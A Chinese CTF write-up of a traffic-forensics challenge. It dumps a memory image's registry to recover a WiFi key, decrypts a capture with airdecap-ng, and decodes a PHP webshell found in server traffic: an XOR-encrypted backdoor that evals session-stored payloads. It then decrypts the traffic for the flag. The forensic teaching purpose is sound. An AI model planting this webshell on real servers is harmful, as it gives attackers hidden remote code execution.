CTF流量包题目总结

题目:陇剑杯-Wifi

发现是一个加密的压缩包并且给了密码的提示

CTF流量包题目总结

通过取证获取注册表的信息

volatility -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 dumpregistry --dump-dir ./

获取网卡的GUID,经过谷歌发现GUID位于这个路径下

HKEY_LOCAL_MACHINE > SOFTWARE > Microsoft > WindowsNT > CurrentVersion > NetworkCards > ( number )

使用WRR.exe这个工具,在取出的software下 搜索下找到GUID

CTF流量包题目总结

{529B7D2A-05D1-4F21-A001-8F4FF817FC3A}

得到一个密钥

CTF流量包题目总结

[email protected]_qwe

airdecap-ng -e My_Wifi -p [email protected]_qwe kehuduan.cap

CTF流量包题目总结

**

解密出kehuduan-dec.pcap

在服务器.pcap发现一段base

K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBXayR3coAiZpBCIgACIgACIK0welNHbl1HIgACIK0wOpYTMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpkSeltGJskSY0FGZkgib1JHQoUGZvNmblhSZk92YuV2X0YTZzFmYg8GajVGIgACIgACIgoQD7kiNxwCMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpQWYvxWehBHJowWY2VGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD

reverse-base64decode得到

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
  for($i=0;$i<strlen($D);$i++) {
      $c = $K[$i+1&15];
      $D[$i] = $D[$i]^$c;
  }
  return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
  $data=encode(base64_decode($_POST[$pass]),$key);
  if (isset($_SESSION[$payloadName])){
      $payload=encode($_SESSION[$payloadName],$key);
      eval($payload);
      echo substr(md5($pass.$key),0,16);
      echo base64_encode(encode(@run($data),$key));
      echo substr(md5($pass.$key),16);
  }else{
      if (stripos($data,"getBasicsInfo")!==false){
          $_SESSION[$payloadName]=encode($data,$key);
      }
  }
}

从这里得到加密的脚本和key

CTF流量包题目总结

fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=

<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$a= 'fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=';
echo gzdecode(encode(base64_decode($a),'3c6e0b8a9c15224a'));
?>

flag{5db5b7b0bb74babb66e1522f3a6b1b12}

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admin
  • 本文由 发表于 2022年4月20日03:32:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  CTF流量包题目总结 http://cn-sec.com/archives/917274.html